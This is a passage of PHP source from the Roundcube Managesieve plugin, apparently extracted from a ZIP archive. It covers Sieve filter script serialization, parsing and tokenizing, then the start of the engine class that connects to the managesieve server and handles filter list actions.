                        $action_script .= self::escape_string($action['name']) . ' ' . self::escape_string($action['value']);
                        break;

                    case 'replace':
                        array_push($exts, 'mime');
                        $action_script .= 'replace';
                        if (!empty($action['mime'])) {
                            $action_script .= " :mime";
                        }
                        if (!empty($action['subject'])) {
                            $action_script .= " :subject " . self::escape_string($action['subject']);
                        }
                        if (!empty($action['from'])) {
                            $action_script .= " :from " . self::escape_string($action['from']);
                        }
                        $action_script .= ' ' . self::escape_string($action['replace']);
                        break;

                    case 'notify':
                        array_push($exts, $notify);
                        $action_script .= 'notify';

                        $method = $action['method'];
                        unset($action['method']);
                        $action['options'] = (array) $action['options'];

                        // Here we support draft-martin-sieve-notify-01 used by Cyrus
                        if ($notify == 'notify') {
                            if (!empty($action['importance'])) {
                                switch ($action['importance']) {
                                    case 1: $action_script .= " :high"; break;
                                    //case 2: $action_script .= " :normal"; break;
                                    case 3: $action_script .= " :low"; break;
                                }
                            }

                            // Old-draft way: :method "mailto" :options "email@address"
                            if (!empty($method)) {
                                $parts = explode(':', $method, 2);
                                $action['method'] = $parts[0];
                                array_unshift($action['options'], $parts[1]);
                            }

                            unset($action['importance']);
                            unset($action['from']);
                            unset($method);
                        }

                        foreach (['id', 'importance', 'method', 'options', 'from', 'message'] as $n_tag) {
                            if (!empty($action[$n_tag])) {
                                $action_script .= " :$n_tag " . self::escape_string($action[$n_tag]);
                            }
                        }

                        if (!empty($method)) {
                            $action_script .= ' ' . self::escape_string($method);
                        }

                        break;

                    case 'vacation':
                        array_push($exts, 'vacation');
                        $action_script .= 'vacation';
                        if (isset($action['seconds'])) {
                            array_push($exts, 'vacation-seconds');
                            $action_script .= " :seconds " . intval($action['seconds']);
                        }
                        else if (!empty($action['days'])) {
                            $action_script .= " :days " . intval($action['days']);
                        }
                        if (!empty($action['addresses'])) {
                            $action_script .= " :addresses " . self::escape_string($action['addresses']);
                        }
                        if (!empty($action['subject'])) {
                            $action_script .= " :subject " . self::escape_string($action['subject']);
                        }
                        if (!empty($action['handle'])) {
                            $action_script .= " :handle " . self::escape_string($action['handle']);
                        }
                        if (!empty($action['from'])) {
                            $action_script .= " :from " . self::escape_string($action['from']);
                        }
                        if (!empty($action['mime'])) {
                            $action_script .= " :mime";
                        }
                        $action_script .= " " . self::escape_string($action['reason']);
                        break;
                    }

                    if ($action_script) {
                        $script .= !empty($tests) ? "\t" : '';
                        $script .= $action_script . ";\r\n";
                    }
                }
            }

            if ($script) {
                $output .= $script . (!empty($tests) ? "}\r\n" : '');
                $idx++;
            }
        }

        // requires
        if (!empty($exts)) {
            $exts = array_unique($exts);

            if (in_array('vacation-seconds', $exts) && ($key = array_search('vacation', $exts)) !== false) {
                unset($exts[$key]);
            }

            sort($exts); // for convenience use always the same order

            $output = 'require ["' . implode('","', $exts) . "\"];\r\n" . $output;
        }

        if (!empty($this->prefix)) {
            $output = $this->prefix . "\r\n\r\n" . $output;
        }

        return $output;
    }

    /**
     * Returns script object
     *
     */
    public function as_array()
    {
        return $this->content;
    }

    /**
     * Returns array of supported extensions
     *
     */
    public function get_extensions()
    {
        return array_values($this->supported);
    }

    /**
     * Converts text script to rules array
     *
     * @param string $script Text script
     */
    private function _parse_text($script)
    {
        $prefix   = '';
        $options  = [];
        $position = 0;
        $length   = strlen($script);

        while ($position < $length) {
            // skip whitespace chars
            $position = self::ltrim_position($script, $position);
            $rulename = '';

            // Comments
            while (isset($script[$position]) && $script[$position] === '#') {
                $endl = strpos($script, "\n", $position);
                if ($endl === false) {
                    $endl = $length;
                } elseif ($script[$endl - 1] === "\r") {
                    --$endl;
                }
                $line = substr($script, $position, $endl - $position);

                // Roundcube format
                if (preg_match('/^# rule:\[(.*)\]/', $line, $matches)) {
                    $rulename = $matches[1];
                }
                // KEP:14 variables
                else if (preg_match('/^# (EDITOR|EDITOR_VERSION) (.+)$/', $line, $matches)) {
                    $this->set_var($matches[1], $matches[2]);
                }
                // Horde-Ingo format
                else if (!empty($options['format']) && $options['format'] == 'INGO'
                    && preg_match('/^# (.*)/', $line, $matches)
                ) {
                    $rulename = $matches[1];
                }
                else if (empty($options['prefix'])) {
                    $prefix .= $line . "\n";
                }

                // skip empty lines after the comment (#5657)
                $position = self::ltrim_position($script, $endl + 1);
            }

            // handle script header
            if (empty($options['prefix'])) {
                $options['prefix'] = true;
                if ($prefix && strpos($prefix, 'horde.org/ingo')) {
                    $options['format'] = 'INGO';
                }
            }

            // Control structures/blocks
            if (preg_match('/^(if|else|elsif)/i', substr($script, $position, 5))) {
                $rule = $this->_tokenize_rule($script, $position);
                if (strlen($rulename) && !empty($rule)) {
                    $rule['name'] = $rulename;
                }
            }
            // Simple commands
            else {
                $rule = $this->_parse_actions($script, $position, ';');
                if (is_array($rule) && !empty($rule[0])) {
                    // set "global" variables
                    if ($rule[0]['type'] == 'set') {
                        unset($rule[0]['type']);
                        $this->vars[] = $rule[0];
                        unset($rule);
                    }
                    else {
                        $rule = ['actions' => $rule];
                    }
                }
            }

            if (!empty($rule)) {
                $this->content[] = $rule;
            }
        }

        if (!empty($prefix)) {
            $this->prefix = trim(preg_replace('/\r?\n/', "\r\n", $prefix));
        }
    }

    /**
     * Convert text script fragment to rule object
     *
     * @param string $content   The whole script content
     * @param int    &$position Start position in the script
     *
     * @return array Rule data
     */
    private function _tokenize_rule($content, &$position)
    {
        $cond = strtolower(self::tokenize($content, 1, $position));
        if ($cond != 'if' && $cond != 'elsif' && $cond != 'else') {
            return null;
        }

        $disabled = false;
        $join     = false;
        $join_not = false;
        $length   = strlen($content);

        // disabled rule (false + comment): if false # .....
        if (preg_match('/^\s*false\s+#\s*/i', substr($content, $position, 20), $m)) {
            $position += strlen($m[0]);
            $disabled = true;
        }

        while ($position < $length) {
            $tokens    = self::tokenize($content, true, $position);
            $separator = array_pop($tokens);

            if (!empty($tokens)) {
                $token = array_shift($tokens);
            }
            else {
                $token = $separator;
            }

            $token = strtolower($token);

            if ($token == 'not') {
                $not = true;
                $token = strtolower(array_shift($tokens));
            }
            else {
                $not = false;
            }

            // we support "not allof" as a negation of allof sub-tests
            if ($join_not) {
                $not = !$not;
            }

            switch ($token) {
            case 'allof':
                $join     = true;
                $join_not = $not;
                break;

            case 'anyof':
                break;

            case 'size':
                $test = ['test' => 'size', 'not' => $not];

                $test['arg'] = array_pop($tokens);

                for ($i=0, $len=count($tokens); $i<$len; $i++) {
                    if (!is_array($tokens[$i])
                        && preg_match('/^:(under|over)$/i', $tokens[$i])
                    ) {
                        $test['type'] = strtolower(substr($tokens[$i], 1));
                    }
                }

                $tests[] = $test;
                break;

            case 'spamtest':
                $test = ['test' => 'spamtest', 'not' => $not];

                $test['arg'] = array_pop($tokens);

                $test += $this->test_tokens($tokens);

                $tests[] = $test;
                break;

            case 'header':
            case 'string':
            case 'address':
            case 'envelope':
                $test = ['test' => $token, 'not' => $not];

                $test['arg2'] = array_pop($tokens);
                $test['arg1'] = array_pop($tokens);

                $test += $this->test_tokens($tokens);

                if ($token != 'header' && $token != 'string' && !empty($tokens)) {
                    for ($i=0, $len=count($tokens); $i<$len; $i++) {
                        if (!is_array($tokens[$i]) && preg_match('/^:(localpart|domain|all|user|detail)$/i', $tokens[$i])) {
                            $test['part'] = strtolower(substr($tokens[$i], 1));
                        }
                    }
                }

                $tests[] = $test;
                break;

            case 'body':
                $test = ['test' => 'body', 'not' => $not];

                $test['arg'] = array_pop($tokens);

                $test += $this->test_tokens($tokens);

                for ($i=0, $len=count($tokens); $i<$len; $i++) {
                    if (!is_array($tokens[$i]) && preg_match('/^:(raw|content|text)$/i', $tokens[$i])) {
                        $test['part'] = strtolower(substr($tokens[$i], 1));

                        if ($test['part'] == 'content') {
                            $test['content'] = $tokens[++$i];
                        }
                    }
                }

                $tests[] = $test;
                break;

            case 'date':
            case 'currentdate':
                $test = ['test' => $token, 'not' => $not];

                $test['arg']  = array_pop($tokens);
                $test['part'] = array_pop($tokens);

                if ($token == 'date') {
                    $test['header']  = array_pop($tokens);
                }

                $test += $this->test_tokens($tokens);

                for ($i=0, $len=count($tokens); $i<$len; $i++) {
                    if (!is_array($tokens[$i]) && preg_match('/^:zone$/i', $tokens[$i])) {
                        $test['zone'] = $tokens[++$i];
                    }
                    else if (!is_array($tokens[$i]) && preg_match('/^:originalzone$/i', $tokens[$i])) {
                        $test['originalzone'] = true;
                    }
                }

                $tests[] = $test;
                break;

            case 'duplicate':
                $test = ['test' => $token, 'not' => $not];

                for ($i=0, $len=count($tokens); $i<$len; $i++) {
                    if (!is_array($tokens[$i])) {
                        if (preg_match('/^:(handle|header|uniqueid|seconds)$/i', $tokens[$i], $m)) {
                            $test[strtolower($m[1])] = $tokens[++$i];
                        }
                        else if (preg_match('/^:last$/i', $tokens[$i])) {
                            $test['last'] = true;
                        }
                    }
                }

                $tests[] = $test;
                break;

            case 'exists':
                $test = ['test' => 'exists', 'not' => $not, 'arg'  => array_pop($tokens)];
                $test += $this->test_tokens($tokens);
                $tests[] = $test;
                break;

            case 'true':
                $tests[] = ['test' => 'true', 'not' => $not];
                break;

            case 'false':
                $tests[] = ['test' => 'true', 'not' => !$not];
                break;
            }

            // goto actions...
            if ($separator == '{') {
                break;
            }
        }

        // ...and actions block
        $actions = $this->_parse_actions($content, $position);

        if (!empty($tests) && $actions) {
            return [
                'type'     => $cond,
                'tests'    => $tests,
                'actions'  => $actions,
                'join'     => $join,
                'disabled' => $disabled,
            ];
        }

        return null;
    }

    /**
     * Parse body of actions section
     *
     * @param string $content   The whole script content
     * @param int    &$position Start position in the script
     * @param string $end       End of text separator
     *
     * @return array Array of parsed action type/target pairs
     */
    private function _parse_actions($content, &$position, $end = '}')
    {
        $result = [];
        $length = strlen($content);

        while ($position < $length) {
            $tokens    = self::tokenize($content, true, $position);
            $separator = array_pop($tokens);
            $token     = !empty($tokens) ? array_shift($tokens) : $separator;

            switch ($token) {
            case 'if':
            case 'else':
            case 'elsif':
                // nested 'if' conditions, ignore the whole rule (#5540)
                $this->_parse_actions($content, $position);
                continue 2;

            case 'discard':
            case 'keep':
            case 'stop':
                $result[] = ['type' => $token];
                break;

            case 'fileinto':
            case 'redirect':
                $action  = ['type' => $token, 'target' => array_pop($tokens)];
                $args    = ['copy'];
                $action += $this->action_arguments($tokens, $args);

                $result[] = $action;
                break;

            case 'vacation':
                $action  = ['type' => 'vacation', 'reason' => array_pop($tokens)];
                $args    = ['mime'];
                $vargs   = ['seconds', 'days', 'addresses', 'subject', 'handle', 'from'];
                $action += $this->action_arguments($tokens, $args, $vargs);

                $result[] = $action;
                break;

            case 'addheader':
            case 'deleteheader':
                $args = $this->test_tokens($tokens);
                if ($token == 'deleteheader' && !empty($args['type'])) {
                    $args['match-type'] = $args['type'];
                }
                if (($index = array_search(':last', $tokens)) !== false) {
                    $args['last'] = true;
                    unset($tokens[$index]);
                }
                $action = ['type' => $token, 'name' => array_shift($tokens), 'value' => array_shift($tokens)];

                $result[] = $action + $args;
                break;

            case 'reject':
            case 'ereject':
            case 'setflag':
            case 'addflag':
            case 'removeflag':
                $result[] = ['type' => $token, 'target' => array_pop($tokens)];
                break;

            case 'include':
                $action  = ['type' => 'include', 'target' => array_pop($tokens)];
                $args    = ['once', 'optional', 'global', 'personal'];
                $action += $this->action_arguments($tokens, $args);

                $result[] = $action;
                break;

            case 'set':
                $action  = ['type' => 'set', 'value' => array_pop($tokens), 'name' => array_pop($tokens)];
                $args    = ['lower', 'upper', 'lowerfirst', 'upperfirst', 'quotewildcard', 'length'];
                $action += $this->action_arguments($tokens, $args);

                $result[] = $action;
                break;

            case 'replace':
                $action  = ['type' => 'replace', 'replace' => array_pop($tokens)];
                $args    = ['mime'];
                $vargs   = ['subject', 'from'];
                $action += $this->action_arguments($tokens, $args, $vargs);

                $result[] = $action;
                break;

            case 'require':
                // skip, will be build according to used commands
                // $result[] = ['type' => 'require', 'target' => array_pop($tokens)];
                break;

            case 'notify':
                $action     = ['type' => 'notify'];
                $priorities = ['high' => 1, 'normal' => 2, 'low' => 3];
                $vargs      = ['from', 'id', 'importance', 'options', 'message', 'method'];
                $args       = array_keys($priorities);
                $action    += $this->action_arguments($tokens, $args, $vargs);

                // Here we'll convert draft-martin-sieve-notify-01 into RFC 5435
                if (!isset($action['importance'])) {
                    foreach ($priorities as $key => $val) {
                        if (isset($action[$key])) {
                            $action['importance'] = $val;
                            unset($action[$key]);
                        }
                    }
                }

                $action['options'] = isset($action['options']) ? (array) $action['options'] : [];

                // Old-draft way: :method "mailto" :options "email@address"
                if (!empty($action['method']) && !empty($action['options'])) {
                    $action['method'] .= ':' . array_shift($action['options']);
                }
                // unnamed parameter is a :method in enotify extension
                else if (!isset($action['method'])) {
                    $action['method'] = array_pop($tokens);
                }

                $result[] = $action;
                break;
            }

            if ($separator == $end) {
                break;
            }
        }

        return !empty($result) ? $result : null;
    }

    /**
     * Add comparator to the test
     */
    private function add_comparator($test, &$out, &$exts)
    {
        if (empty($test['comparator'])) {
            return;
        }

        if ($test['comparator'] == 'i;ascii-numeric') {
            array_push($exts, 'relational');
            array_push($exts, 'comparator-i;ascii-numeric');
        }
        else if (!in_array($test['comparator'], ['i;octet', 'i;ascii-casemap'])) {
            array_push($exts, 'comparator-' . $test['comparator']);
        }

        // skip default comparator
        if ($test['comparator'] != 'i;ascii-casemap') {
            $out .= ' :comparator ' . self::escape_string($test['comparator']);
        }
    }

    /**
     * Add index argument to the test
     */
    private function add_index($test, &$out, &$exts)
    {
        if (!empty($test['index'])) {
            array_push($exts, 'index');
            $out .= ' :index ' . intval($test['index']) . (!empty($test['last']) ? ' :last' : '');
        }
    }

    /**
     * Add mime argument(s) to the test
     */
    private function add_mime($test, &$out, &$exts)
    {
        foreach (['mime', 'mime-anychild', 'mime-type', 'mime-subtype', 'mime-contenttype', 'mime-param'] as $opt) {
            if (!empty($test[$opt])) {
                $opt_name = str_replace('mime-', '', $opt);
                if (empty($got_mime)) {
                    $out .= ' :mime';
                    $got_mime = true;
                    array_push($exts, 'mime');
                }

                if ($opt_name != 'mime') {
                    $out .= " :$opt_name";
                }

                if ($opt_name == 'param') {
                    $out .= ' ' . self::escape_string($test[$opt]);
                }
            }
        }
    }

    /**
     * Add operators to the test
     */
    private function add_operator($test, &$out, &$exts)
    {
        if (empty($test['type'])) {
            return;
        }

        // relational operator
        if (preg_match('/^(value|count)-([gteqnl]{2})/', $test['type'], $m)) {
            array_push($exts, 'relational');

            $out .= ' :' . $m[1] . ' "' . $m[2] . '"';
        }
        else {
            if ($test['type'] == 'regex') {
                array_push($exts, 'regex');
            }

            $out .= ' :' . $test['type'];
        }

        $this->add_comparator($test, $out, $exts);
    }

    /**
     * Extract test tokens
     */
    private function test_tokens(&$tokens)
    {
        $test   = [];
        $result = [];

        for ($i=0, $len=count($tokens); $i<$len; $i++) {
            $token = is_array($tokens[$i]) ? null : $tokens[$i];
            if ($token && preg_match('/^:comparator$/i', $token)) {
                $test['comparator'] = $tokens[++$i];
            }
            else if ($token && preg_match('/^:(count|value)$/i', $token)) {
                $test['type'] = strtolower(substr($token, 1)) . '-' . $tokens[++$i];
            }
            else if ($token && preg_match('/^:(is|contains|matches|regex)$/i', $token)) {
                $test['type'] = strtolower(substr($token, 1));
            }
            else if ($token && preg_match('/^:(mime|anychild|type|subtype|contenttype|param)$/i', $token)) {
                $token = strtolower(substr($token, 1));
                $key   = $token == 'mime' ? $token : "mime-$token";
                $test[$key] = $token == 'param' ? $tokens[++$i] : true;
            }
            else if ($token && preg_match('/^:index$/i', $token)) {
                $test['index'] = intval($tokens[++$i]);
                if ($tokens[$i+1] && preg_match('/^:last$/i', $tokens[$i+1])) {
                    $test['last'] = true;
                    $i++;
                }
            }
            else {
                $result[] = $tokens[$i];
            }
        }

        $tokens = $result;

        return $test;
    }

    /**
     * Extract action arguments
     */
    private function action_arguments(&$tokens, $bool_args, $val_args = [])
    {
        $action = [];
        $result = [];

        for ($i=0, $len=count($tokens); $i<$len; $i++) {
            $tok = $tokens[$i];
            if (!is_array($tok) && $tok[0] == ':') {
                $tok = strtolower(substr($tok, 1));
                if (in_array($tok, $bool_args)) {
                    $action[$tok] = true;
                }
                else if (in_array($tok, $val_args)) {
                    $action[$tok] = $tokens[++$i];
                }
                else {
                    $result[] = $tok;
                }
            }
            else {
                $result[] = $tok;
            }
        }

        $tokens = $result;

        return $action;
    }

    /**
     * Escape special chars into quoted string value or multi-line string
     * or list of strings
     *
     * @param string $str Text or array (list) of strings
     *
     * @return string Result text
     */
    static function escape_string($str)
    {
        if (is_array($str) && count($str) > 1) {
            foreach ($str as $idx => $val) {
                $str[$idx] = self::escape_string($val);
            }

            return '[' . implode(',', $str) . ']';
        }
        else if (is_array($str)) {
            $str = array_pop($str);
        }

        // multi-line string
        if (preg_match('/[\r\n\0]/', $str)) {
            return sprintf("text:\r\n%s\r\n.\r\n", self::escape_multiline_string($str));
        }
        // quoted-string
        else {
            return '"' . addcslashes($str, '\\"') . '"';
        }
    }

    /**
     * Escape special chars in multi-line string value
     *
     * @param string $str Text
     *
     * @return string Text
     */
    static function escape_multiline_string($str)
    {
        $str = preg_split('/(\r?\n)/', $str, -1, PREG_SPLIT_DELIM_CAPTURE);

        foreach ($str as $idx => $line) {
            // dot-stuffing
            if (isset($line[0]) && $line[0] == '.') {
                $str[$idx] = '.' . $line;
            }
        }

        return implode($str);
    }

    /**
     * Splits script into string tokens
     *
     * @param string $str       The script
     * @param mixed  $num       Number of tokens to return, 0 for all
     *                          or True for all tokens until separator is found.
     *                          Separator will be returned as last token.
     * @param int    &$position Parsing start position
     *
     * @return mixed Tokens array or string if $num=1
     */
    static function tokenize($str, $num = 0, &$position = 0)
    {
        $result = [];
        $length = strlen($str);

        // remove spaces from the beginning of the string
        while ($position < $length && (!$num || $num === true || count($result) < $num)) {
            // skip whitespace chars
            $position = self::ltrim_position($str, $position);

            switch ($str[$position]) {

            // Quoted string
            case '"':
                for ($pos = $position + 1; $pos < $length; $pos++) {
                    if ($str[$pos] == '"') {
                        break;
                    }
                    if ($str[$pos] == "\\") {
                        if ($str[$pos + 1] == '"' || $str[$pos + 1] == "\\") {
                            $pos++;
                        }
                    }
                }
                if ($str[$pos] != '"') {
                    // error
                }

                // we need to strip slashes for a quoted string
                $result[] = stripslashes(substr($str, $position + 1, $pos - $position - 1));
                $position = $pos + 1;
                break;

            // Parenthesized list
            case '[':
                $position++;
                $result[] = self::tokenize($str, 0, $position);
                break;
            case ']':
                $position++;
                return $result;
                break;

            // list/test separator
            case ',':
            // command separator
            case ';':
            // block/tests-list
            case '(':
            case ')':
            case '{':
            case '}':
                $sep = $str[$position];
                $position++;
                if ($num === true) {
                    $result[] = $sep;
                    break 2;
                }
                break;

            // bracket-comment
            case '/':
                if ($str[$position + 1] == '*') {
                    if ($end_pos = strpos($str, '*/', $position + 2)) {
                        $position = $end_pos + 2;
                    }
                    else {
                        // error
                        $position = $length;
                    }
                }
                break;

            // hash-comment
            case '#':
                if ($lf_pos = strpos($str, "\n", $position)) {
                    $position = $lf_pos + 1;
                    break;
                }
                else {
                    $position = $length;
                }

            // String atom
            default:
                // empty or one character
                if ($position == $length) {
                    break 2;
                }
                if ($length - $position < 2) {
                    $result[] = substr($str, $position);
                    $position = $length;
                    break;
                }

                // tag/identifier/number
                if (preg_match('/[a-zA-Z0-9:_]+/', $str, $m, PREG_OFFSET_CAPTURE, $position)
                    && $m[0][1] == $position
                ) {
                    $atom      = $m[0][0];
                    $position += strlen($atom);

                    if ($atom != 'text:') {
                        $result[] = $atom;
                    }
                    // multiline string
                    else {
                        // skip whitespace chars (except \r\n)
                        $position = self::ltrim_position($str, $position, false);

                        // possible hash-comment after "text:"
                        if ($str[$position] === '#') {
                            $endl     = strpos($str, "\n", $position);
                            $position = $endl ?: $length;
                        }

                        // skip \n or \r\n
                        if ($str[$position] == "\n") {
                            $position++;
                        }
                        else if ($str[$position] == "\r" && $str[$position + 1] == "\n") {
                            $position += 2;
                        }

                        $text = '';

                        // get text until alone dot in a line
                        while ($position < $length) {
                            $pos = strpos($str, "\n.", $position);
                            if ($pos === false) {
                                break;
                            }

                            $text    .= substr($str, $position, $pos - $position);
                            $position = $pos + 2;

                            if ($str[$position] == "\n") {
                                break;
                            }

                            if ($str[$position] == "\r" && $str[$position + 1] == "\n") {
                                $position++;
                                break;
                            }

                            $text .= "\n.";
                        }

                        // remove dot-stuffing
                        $text = str_replace("\n..", "\n.", $text);

                        $result[] = rtrim($text, "\r\n");
                        $position++;
                    }
                }
                // fallback, skip one character as infinite loop prevention
                else {
                    $position++;
                }

                break;
            }
        }

        return $num === 1 ? ($result[0] ?? null) : $result;
    }

    /**
     * Skip whitespace characters in a string from specified position.
     */
    static function ltrim_position($content, $position, $br = true)
    {
        $blanks = ["\t", "\0", "\x0B", " "];

        if ($br) {
            $blanks[] = "\r";
            $blanks[] = "\n";
        }

        while (isset($content[$position]) && isset($content[$position + 1])
            && in_array($content[$position], $blanks, true)
        ) {
            $position++;
        }

        return $position;
    }
}
PKh�\xN�%�h�h8plugins/managesieve/lib/Roundcube/rcube_sieve_engine.phpnu�[���<?php

/**
 * Managesieve (Sieve Filters) Engine
 *
 * Engine part of Managesieve plugin implementing UI and backend access.
 *
 * Copyright (C) The Roundcube Dev Team
 * Copyright (C) Kolab Systems AG
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_sieve_engine
{
    protected $rc;
    protected $sieve;
    protected $plugin;
    protected $errors;
    protected $form;
    protected $list;
    protected $tips    = [];
    protected $script  = [];
    protected $exts    = [];
    protected $active  = [];
    protected $headers = [];
    protected $disabled_actions = [];
    protected $addr_headers = [
        // Required
        "from", "to", "cc", "bcc", "sender", "resent-from", "resent-to",
        // Additional (RFC 822 / RFC 2822)
        "reply-to", "resent-reply-to", "resent-sender", "resent-cc", "resent-bcc",
        // Non-standard (RFC 2076, draft-palme-mailext-headers-08.txt)
        "for-approval", "for-handling", "for-comment", "apparently-to", "errors-to",
        "delivered-to", "return-receipt-to", "x-admin", "read-receipt-to",
        "x-confirm-reading-to", "return-receipt-requested",
        "registered-mail-reply-requested-by", "mail-followup-to", "mail-reply-to",
        "abuse-reports-to", "x-complaints-to", "x-report-abuse-to",
        // Undocumented
        "x-beenthere",
    ];
    protected $notify_methods = [
        'mailto',
        // 'sms',
        // 'tel',
    ];
    protected $notify_importance_options = [
        3 => 'notifyimportancelow',
        2 => 'notifyimportancenormal',
        1 => 'notifyimportancehigh'
    ];

    const VERSION  = '9.4';
    const PROGNAME = 'Roundcube (Managesieve)';
    const PORT     = 4190;


    /**
     * Class constructor
     */
    function __construct($plugin)
    {
        $this->rc      = rcube::get_instance();
        $this->plugin  = $plugin;
        $this->headers = $this->get_default_headers();
    }

    /**
     * Loads configuration, initializes plugin (including sieve connection)
     */
    function start($mode = null)
    {
        // register UI objects
        $this->rc->output->add_handlers([
                'filterslist'      => [$this, 'filters_list'],
                'filtersetslist'   => [$this, 'filtersets_list'],
                'filterform'       => [$this, 'filter_form'],
                'filtersetform'    => [$this, 'filterset_form'],
                'filterseteditraw' => [$this, 'filterset_editraw'],
        ]);

        $this->disabled_actions = (array) $this->rc->config->get('managesieve_disabled_actions');

        // connect to managesieve server
        $error = $this->connect($_SESSION['username'], $this->rc->decrypt($_SESSION['password']));

        $script_name = null;

        // load current/active script
        if (!$error) {
            // Get list of scripts
            $list = $this->list_scripts();

            // reset current script when entering filters UI (#1489412)
            if ($this->rc->action == 'plugin.managesieve') {
                $this->rc->session->remove('managesieve_current');
            }

            if ($mode != 'vacation' && $mode != 'forward') {
                if (!empty($_GET['_set']) || !empty($_POST['_set'])) {
                    $script_name = rcube_utils::get_input_string('_set', rcube_utils::INPUT_GPC, true);
                }
                else if (!empty($_SESSION['managesieve_current'])) {
                    $script_name = $_SESSION['managesieve_current'];
                }
            }

            $error = $this->load_script($script_name);
        }

        // finally set script objects
        if ($error) {
            switch ($error) {
                case rcube_sieve::ERROR_CONNECTION:
                case rcube_sieve::ERROR_LOGIN:
                    $this->rc->output->show_message('managesieve.filterconnerror', 'error');
                    break;

                default:
                    $this->rc->output->show_message('managesieve.filterunknownerror', 'error');
                    break;
            }

            // reload interface in case of possible error when specified script wasn't found (#1489412)
            if ($script_name !== null && !empty($list) && !in_array($script_name, $list)) {
                $this->rc->output->command('reload', 500);
            }

            // to disable 'Add filter' button set env variable
            $this->rc->output->set_env('filterconnerror', true);
            $this->script = [];
        }
        else {
            $this->exts = $this->sieve->get_extensions();
            $this->init_script();
            $this->rc->output->set_env('currentset', $this->sieve->current);
            $_SESSION['managesieve_current'] = $this->sieve->current;
        }

        $this->rc->output->set_env('raw_sieve_editor', $this->rc->config->get('managesieve_raw_editor', true));
        $this->rc->output->set_env('managesieve_disabled_actions', $this->disabled_actions);
        $this->rc->output->set_env('managesieve_no_set_list', in_array('list_sets', $this->disabled_actions));

        return $error;
    }

    /**
     * Connect to configured managesieve server
     *
     * @param string $username User login
     * @param string $password User password
     *
     * @return int Connection status: 0 on success, >0 on failure
     */
    public function connect($username, $password)
    {
        $host = $this->rc->config->get('managesieve_host', 'localhost');
        $host = rcube_utils::parse_host($host);

        $plugin = $this->rc->plugins->exec_hook('managesieve_connect', [
                'user'           => $username,
                'password'       => $password,
                'host'           => $host,
                'auth_type'      => $this->rc->config->get('managesieve_auth_type'),
                'disabled'       => $this->rc->config->get('managesieve_disabled_extensions'),
                'debug'          => $this->rc->config->get('managesieve_debug', false),
                'auth_cid'       => $this->rc->config->get('managesieve_auth_cid'),
                'auth_pw'        => $this->rc->config->get('managesieve_auth_pw'),
                'socket_options' => $this->rc->config->get('managesieve_conn_options'),
                'gssapi_context' => null,
                'gssapi_cn'      => null,
        ]);

        list($host, $scheme, $port) = rcube_utils::parse_host_uri($plugin['host']);

        // Support explicit STARTTLS by establishing an unencrypted TCP connection, then instructing Net_Sieve to send the `STARTTLS` command.
        $tls = $scheme === 'tls';

        // Support implicit SSL by passing the URI scheme through to Net_Sieve -> Net_Socket -> stream_socket_client().
        if ($scheme === 'ssl') {
            $host = 'ssl://' . $host;
        }

        if (empty($port)) {
            $port = getservbyname('sieve', 'tcp') ?: self::PORT;
        }

        $host = rcube_utils::idn_to_ascii($host);

        // Handle per-host socket options
        rcube_utils::parse_socket_options($plugin['socket_options'], $host);

        // try to connect to managesieve server and to fetch the script
        $this->sieve = new rcube_sieve(
            $plugin['user'],
            $plugin['password'],
            $host,
            $port,
            $plugin['auth_type'],
            $tls,
            $plugin['disabled'],
            $plugin['debug'],
            $plugin['auth_cid'],
            $plugin['auth_pw'],
            $plugin['socket_options'],
            $plugin['gssapi_context'],
            $plugin['gssapi_cn']
        );

        $error = $this->sieve->error();

        if ($error) {
            rcube::raise_error([
                    'code'    => 403,
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                    'message' => "Unable to connect to managesieve on $host:$port"
                ], true, false
            );
        }

        return $error;
    }

    /**
     * Load specified (or active) script
     *
     * @param string $script_name Optional script name
     *
     * @return int Connection status: 0 on success, >0 on failure
     */
    protected function load_script($script_name = null)
    {
        // Get list of scripts
        $list = $this->list_scripts();

        if ($script_name === null || $script_name === '') {
            // get (first) active script
            if (!empty($this->active)) {
               $script_name = $this->active[0];
            }
            else if ($list) {
                $script_name = $list[0];
            }
            else {
                // if script does not exist create one with default content
                $this->create_default_script();
            }
        }

        if ($script_name) {
            $this->sieve->load($script_name);
        }

        return $this->sieve->error();
    }

    /**
     * User interface actions handler
     */
    function actions()
    {
        $error = $this->start();

        // Handle user requests
        if ($action = rcube_utils::get_input_string('_act', rcube_utils::INPUT_GPC)) {
            $fid = (int) rcube_utils::get_input_value('_fid', rcube_utils::INPUT_POST);

            if ($action == 'delete' && !$error) {
                if (!in_array('delete_filter', $this->disabled_actions)) {
                    if (isset($this->script[$fid])) {
                        $result = false;
                        if ($this->sieve->script->delete_rule($fid)) {
                            $result = $this->save_script();
                        }

                        if ($result === true) {
                            $this->rc->output->show_message('managesieve.filterdeleted', 'confirmation');
                            $this->rc->output->command('managesieve_updatelist', 'del', ['id' => $fid]);
                        }
                        else {
                            $this->rc->output->show_message('managesieve.filterdeleteerror', 'error');
                        }
                    }
                }
                else {
                    $this->rc->output->show_message('managesieve.disabledaction', 'error');
                }
            }
            else if ($action == 'move' && !$error) {
                if (isset($this->script[$fid])) {
                    $to   = (int) rcube_utils::get_input_value('_to', rcube_utils::INPUT_POST);
                    $rule = $this->script[$fid];

                    // remove rule
                    unset($this->script[$fid]);
                    $this->script = array_values($this->script);

                    // add at target position
                    if ($to >= count($this->script)) {
                        $this->script[] = $rule;
                    }
                    else {
                        $script = [];
                        foreach ($this->script as $idx => $r) {
                            if ($idx == $to) {
                                $script[] = $rule;
                            }
                            $script[] = $r;
                        }
                        $this->script = $script;
                    }

                    $this->sieve->script->content = $this->script;
                    $result = $this->save_script();

                    if ($result === true) {
                        $result = $this->list_rules();

                        $this->rc->output->show_message('managesieve.moved', 'confirmation');
                        $this->rc->output->command('managesieve_updatelist', 'list',
                            ['list' => $result, 'clear' => true, 'set' => $to]);
                    }
                    else {
                        $this->rc->output->show_message('managesieve.moveerror', 'error');
                    }
                }
            }
            else if ($action == 'act' && !$error) {
                if (isset($this->script[$fid])) {
                    $rule     = $this->script[$fid];
                    $disabled = !empty($rule['disabled']);
                    $rule['disabled'] = !$disabled;
